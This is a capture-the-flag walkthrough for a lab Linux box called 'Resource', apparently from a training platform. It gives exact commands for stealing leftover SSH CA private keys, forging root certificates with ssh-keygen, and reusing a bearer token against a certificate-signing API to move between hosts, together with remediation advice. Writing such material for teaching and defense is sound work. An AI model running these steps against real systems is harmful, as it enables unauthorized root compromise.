← all walkthroughs

Resource

Linux· Hard
owned
2026-10-10
time to own
10m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I, with a single low-privileged SSH login on host 'itrc' found a, decommissioned SSH certificate-authority key pair left behind in that account's home directory. That key let them mint a certificate for root and take over the host outright, where a helper script revealed how an internal certificate-signing web service worked and the bearer token it used.

Using that API, I requested certificates for other usernames, pivoting to a second host, 'ssg', reachable on port 2222: first as a support account, then as a second account that had sudo rights to a root-owned signing helper. That account's home directory held a second CA key pair, which was used the same way to mint a root certificate on 'ssg', completing full compromise of both systems.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD3="<the-password-you-recovered, for msainristil>"

Some commands also carry a value in angle brackets (<recovered-token>, <root-principal>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1EnumerationNetwork service enumeration and virtual-host discovery (MITRE ATT&CK T1046/T1590)
Mapped exposed services and the internal certificate API
A port scan found SSH on port 22, an nginx web server on port 80, and a second SSH-like service on port 2222. The web server used virtual-host routing, and requests sent with the Host header 'signserv.ssg.htb' reached an internal SSH certificate-signing API rather than a normal website. This showed that access across the estate is controlled by short-lived SSH certificates issued by a central signer, not by static keys alone.
Nmap found 22/tcp, 80/tcp (nginx 1.18.0), 2222/tcp open; /v1/sign answered only when Host: signserv.ssg.htb was supplied.
Exact commands 2
shell

Full TCP port scan with service/version detection.

$ nmap -sV -p- $TARGET
shell

Resolve the internal signing virtual host locally.

$ echo "$TARGET signserv.ssg.htb" | sudo tee -a /etc/hosts
2Initial AccessValid account login over SSH (T1078); exposure of a retired secret on an accessible filesystem
Authenticated over SSH with an obtained credential
A known password for user msainristil was valid on the port-22 SSH service, giving an interactive shell on host 'itrc' with no sudo access. Enumerating the home directory turned up a 'decommission_old_ca' folder containing a readable SSH CA private key and its matching public key: material that should have been destroyed when the old CA was retired.
Ssh msainristil@$TARGET succeeded; find showed world-unreadable 600 ca-itrc alongside ca-itrc.pub under the user's home directory.
Exact commands 2
shell

Log in with the recovered credential.

$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null msainristil@$TARGET
shell

List home-directory files and permissions; reveals the old CA key pair.

$ find /home/msainristil -maxdepth 3 -type f -printf '%m %p\n'
FixRemove SSH CA private keys from anywhere but the signing serviceCritical
WeaknessTwo SSH certificate-authority private keys (the retired 'ca-itrc' key and a second 'ca-it' key) were left readable inside ordinary user home directories (msainristil, zzinter) instead of existing only on the dedicated signing server. Anyone who obtained filesystem access to those accounts could self-sign a certificate for any identity, including root, without going through the signing service at all.
FixHold CA private keys only in the signing service's protected storage (ideally an HSM, KMS, or a locked-down dedicated host) and never on general-purpose user systems. Destroy retired CA material securely rather than leaving it in a user's home directory, audit all hosts for stray *_ca/CA key files, and rotate the SSH CA (reissue host/user certificates) given this exposure.
3Privilege EscalationAbuse of a compromised SSH CA signing key to self-mint trusted certificates (T1649 / T1552.004)
Forged a root SSH certificate with the exposed CA key
The recovered file was the private signing key for the SSH certificate authority trusted by host 'itrc'. Because the CA key itself, not just a host or user certificate, was exposed, I could sign a certificate for any identity, including root, bypassing normal account controls entirely. This produced an immediate root shell and exposed the internal signing-API logic and bearer token used by the live signing service.
Ssh-keygen -s against the stolen CA signed a certificate accepted as root@itrc; /home/zzinter/sign_key_api.sh and user.txt were then readable.
Exact commands 4
shell

Exfiltrate the CA private key.

$ scp msainristil@$TARGET:/home/msainristil/decommission_old_ca/ca-itrc ./ca-itrc
shell

Generate a fresh keypair to request a certificate for.

$ ssh-keygen -q -t ed25519 -N '' -f ./container-root
shell

Self-sign a root-principal certificate with the stolen CA key.

$ ssh-keygen -s ./ca-itrc -I root -n root -V always:forever ./container-root.pub
shell

Use the forged certificate for root access; read user flag (substitute <user.txt>).

$ ssh -i ./container-root root@$TARGET 'id; cat /home/zzinter/user.txt'
4Lateral MovementAbuse of an internal API with a static bearer token to issue unauthorized credentials (T1550)
Abused the signing API's token and principal logic to pivot accounts
The script found on the first host documented the signing API's contract: submit a public key, a username, and a comma-separated list of principals, authenticated with a bearer token. I reused the token to request a certificate for principal 'support', giving access to the second host, 'ssg', over its non-standard SSH port.
sign_key_api.sh listed supported_principals including 'support'; POST /v1/sign with that principal returned a signed certificate accepted on ssg:2222.
Exact commands 3
shell

Generate a keypair for the certificate request.

$ ssh-keygen -q -t ed25519 -N '' -f ./itsupport
shell

Request a certificate for principal support using the bearer token recovered from prior output.

$ pub=$(cat ./itsupport.pub) && jq -n --arg pub "$pub" --arg username support --arg principals support '{pubkey:$pub,username:$username,principals:$principals}' | curl -sS http://$TARGET/v1/sign -H 'Host: signserv.ssg.htb' -H 'Content-Type: application/json' -H 'Authorization: Bearer <recovered-token>' -d @-
shell

Log in to the second host with the signed certificate.

$ ssh -p 2222 -i ./itsupport support@$TARGET
FixRestrict and tightly scope the certificate-signing API's authorizationCritical
WeaknessThe internal signing API (signserv.ssg.htb /v1/sign) accepted any username/principal combination from anyone holding a single static bearer token, with no per-caller restriction on which principals a given requester could obtain. Possessing the token, recovered from earlier command output on a compromised host, let an unauthorised user mint certificates for unrelated accounts (support, zzinter) and pivot across hosts.
FixIssue scoped, short-lived tokens tied to the specific requester and the specific principal(s) they are allowed to request, rejecting any request for a principal outside that allow-list. Rotate the bearer token, log and alert on signing requests for sensitive principals (root, admin-equivalent), and require a second factor or manual approval for root-principal issuance.
5Lateral MovementRepeated abuse of the signing API to escalate from service account to a privileged local user (T1550)
Pivoted to a second account on the same host via the same API
Repeating the signing request with a different username and principal ('zzinter' / 'zzinter_temp') yielded a certificate for that account, which had sudo rights to a root-owned script and held a second CA private key in its home directory.
Sudo -l for zzinter showed NOPASSWD: /opt/sign_key.sh (root); zzinter's home contained ca-it-recovered.
Exact commands 3
shell

Generate another keypair for the next certificate request.

$ ssh-keygen -q -t ed25519 -N '' -f ./zzinter
shell

Request a certificate for the zzinter account.

$ pub=$(cat ./zzinter.pub) && jq -n --arg pub "$pub" --arg username zzinter --arg principals zzinter_temp '{pubkey:$pub,username:$username,principals:$principals}' | curl -sS http://$TARGET/v1/sign -H 'Host: signserv.ssg.htb' -H 'Content-Type: application/json' -H 'Authorization: Bearer <recovered-token>' -d @-
shell

Log in as zzinter and check sudo rights.

$ ssh -p 2222 -i ./zzinter zzinter@$TARGET 'sudo -n -l'
6Privilege EscalationSecond instance of CA-key theft used to self-mint a root certificate (T1649)
Recovered a second CA key and forged a root certificate on the second host
The zzinter account's home directory held a second exposed CA private key. The server's own SSH configuration listed which principal names were permitted to authenticate as which local account, including which principal mapped to root. I used the stolen CA key to sign a certificate for that root-mapped principal and authenticated directly as root, completing compromise of the second host.
Ca-it-recovered copied from /home/zzinter; /etc/ssh/auth_principals/root on ssg defined the principal that maps to root login.
Exact commands 5
shell

Exfiltrate the second CA private key.

$ scp -P 2222 -i ./zzinter zzinter@$TARGET:/home/zzinter/ca-it-recovered ./ca-it-host
shell

Read the principal name authorized for root login.

$ ssh -p 2222 -i ./zzinter zzinter@$TARGET 'cat /etc/ssh/auth_principals/root'
shell

Generate a keypair to request a root certificate for.

$ ssh-keygen -q -t ed25519 -N '' -f ./host-root
shell

Self-sign a certificate for the root-mapped principal with the stolen CA key.

$ ssh-keygen -s ./ca-it-host -I root_user -n <root-principal> -V always:forever ./host-root.pub
shell

Authenticate as root and read the root flag (substitute <root.txt>).

$ ssh -p 2222 -i ./host-root root@$TARGET 'id; cat /root/root.txt'

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
80/tcp
2222/tcp